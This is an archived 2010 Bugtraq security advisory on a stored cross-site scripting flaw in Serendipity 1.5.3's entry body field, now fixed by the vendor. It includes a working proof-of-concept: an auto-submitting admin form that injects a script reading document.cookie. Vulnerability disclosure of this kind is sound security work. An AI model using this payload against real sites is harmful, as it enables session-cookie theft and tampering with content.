[<prev] [next>] [day] [month] [year] [list]
Message-Id: <201009151310.o8FDA9J0057418@htbridge.ch>
Date: Wed, 15 Sep 2010 15:10:09 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSS (cross site scripting) vulnerability in Serendipity
Vulnerability ID: HTB22595
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_serendipity.html
Product: Serendipity
Vendor: Serendipity Team ( http://www.s9y.org/ )
Vulnerable Version: 1.5.3 and probably prior versions
Vendor Notification: 26 August 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "include/functions_entries.inc.php" script to properly sanitize user-supplied input in "serendipity[body]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="http://host/serendipity_admin.php?" method="post" name="main" >
<input type="hidden" name="serendipity[action]" value="admin" />
<input type="hidden" name="serendipity[adminModule]" value="entries" />
<input type="hidden" name="serendipity[adminAction]" value="save" />
<!--<input type="hidden" name="serendipity[timestamp]" value="1282502444" />-->
<input type="hidden" name="serendipity[id]" value="1" />
<input type="hidden" name="serendipity[timestamp]" value="1282502100" />
<input type="hidden" name="serendipity[preview]" value="false" />
<input type="hidden" name="serendipity[token]" value="12345" />
<input type="hidden" name="serendipity[title]" value="title" />
<input type="hidden" name="serendipity[isdraft]" value="false" />
<input type="hidden" name="serendipity[chk_timestamp]" value="1282502100" />
<input type="hidden" name="serendipity[new_timestamp]" value="2010-08-22+22:40" />
<input type="hidden" name="serendipity[categories][]" value="0" />
<input type="hidden" name="serendipity[body]" value='body2"><script>alert(document.cookie)</script>' />
<input type="hidden" name="serendipity[allow_comments]" value="true" />
<input type="hidden" name="serendipity[extended]" value="" />
</form>
<script>
document.main.submit();
</script>
Solution: Upgrade to the most recent version
Powered by blists - more mailing lists